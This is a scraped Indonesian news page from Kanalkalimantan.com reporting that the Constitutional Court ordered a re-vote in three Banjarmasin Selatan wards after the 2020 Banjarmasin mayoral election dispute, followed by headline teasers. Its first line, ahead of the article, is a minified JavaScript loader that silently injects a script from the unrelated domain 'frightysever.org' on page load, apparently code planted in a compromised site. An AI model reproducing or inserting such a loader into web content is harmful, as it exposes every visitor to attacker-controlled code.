(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mahkamah Konstitusi (MK) akhirnya memutus sengketa Pilkada Banjarmasin, Senin (22/3/2021) malam. Hasilnya, majelis memerintahkan dilakukannya pemungutan suara ulang (PSU) di tiga kelurahan di Kecamatan Banjarmasin Selatan.
Keputusan tersebut disampaikan hakim konsntitusi Anwar Usman. Dengan putusan tersebut, MK secara otomatis juga menyatakan batalnya batalnya SK KPU Banjarmasin No 245/PL.02.6-Kpt/6371/KPUpkot/XII/2020 tentang penetapan hasil penghitungan suara Walikota dan Wakil Walikota Banjarmasin tanggal 15 Desember.
Baca juga : Warga Banjarmasin Berharap Putusan MK Jadi Titik Tolak bagi Kepemimpinan Pro Rakyat!
“Hal tersebut menyangkut perolehan suara di TPS di 3 kelurahan yakni Kelurahan Mantuil, Kelurahan Murung Raya, dan Basirih Selatan,” katanya.
Sama dengan putusan MK atas Pilgub Kalsel,majelis hakim juga meminta KPU Banjarmasin menggelar PSU selama 30 hari semenjak putusan dibacakan. (Kanalkalimantan.com/Putra)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.